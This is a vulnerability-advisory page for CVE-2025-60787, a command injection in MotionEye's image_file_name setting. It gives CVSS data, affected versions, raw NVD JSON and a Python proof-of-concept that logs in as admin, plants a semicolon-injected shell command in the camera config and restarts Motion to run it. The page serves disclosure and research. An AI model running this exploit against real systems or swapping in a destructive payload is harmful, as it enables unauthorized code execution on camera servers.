Security Vulnerability Report
中文
CVE-2025-60787 CVSS 7.2 HIGH

CVE-2025-60787

Published: 2025-10-03 16:16:20
Last Modified: 2025-10-10 16:22:31

Description

MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:motioneye_project:motioneye:0.42.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta4:*:*:*:*:*:* - VULNERABLE
MotionEye <= v0.43.1b4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60787 PoC - MotionEye OS Command Injection # Reference: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter import requests import sys TARGET_URL = "http://target-motioneye:8765" USERNAME = "admin" PASSWORD = "password" # Malicious payload for image_file_name parameter # The semicolon terminates the legitimate command and executes our injected command MALICIOUS_PAYLOAD = "normal_file_name; touch /tmp/pwned_by_cve_2025_60787; #" def exploit(): session = requests.Session() # Step 1: Login as administrator login_url = f"{TARGET_URL}/login/" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data) if "Login failed" in resp.text or resp.status_code != 200: print("[!] Login failed. Check credentials.") sys.exit(1) print("[*] Login successful") # Step 2: Navigate to camera configuration page config_url = f"{TARGET_URL}/config/1/" # Camera ID 1 # Step 3: Inject malicious command in image_file_name parameter config_data = { "image_file_name": MALICIOUS_PAYLOAD, "video_file_name": "%Y%m%d-%H%M%S", # Other configuration parameters... } resp = session.post(config_url, data=config_data) print("[*] Configuration updated with malicious payload") # Step 4: Trigger Motion restart to execute injected command restart_url = f"{TARGET_URL}/restart/" session.post(restart_url) print("[*] Motion service restart triggered") print("[*] Payload should now be executed on the target system") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60787", "sourceIdentifier": "[email protected]", "published": "2025-10-03T16:16:20.293", "lastModified": "2025-10-10T16:22:30.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:motioneye_project:motioneye:0.42.1:*:*:*:*:*:*:*", "matchCriteriaId": "C26534FD-4BEE-4691-88AF-28ABE3E81009"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta1:*:*:*:*:*:*", "matchCriteriaId": "4F8115A9-E036-48F2-AC19-08FED9506BF5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta2:*:*:*:*:*:*", "matchCriteriaId": "D60394AE-126F-47B6-B4D3-020403397F4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta3:*:*:*:*:*:*", "matchCriteriaId": "834AF725-2D03-4E99-8EEC-AE42635F3A62"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motioneye_project:motioneye:0.43.1:beta4:*:*:*:*:*:*", "matchCriteriaId": "38A71A4A-6FEA-495A-B131-B7CF3E2F04CE"}]}]}], "references": [{"url": "http://motioneye-project.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}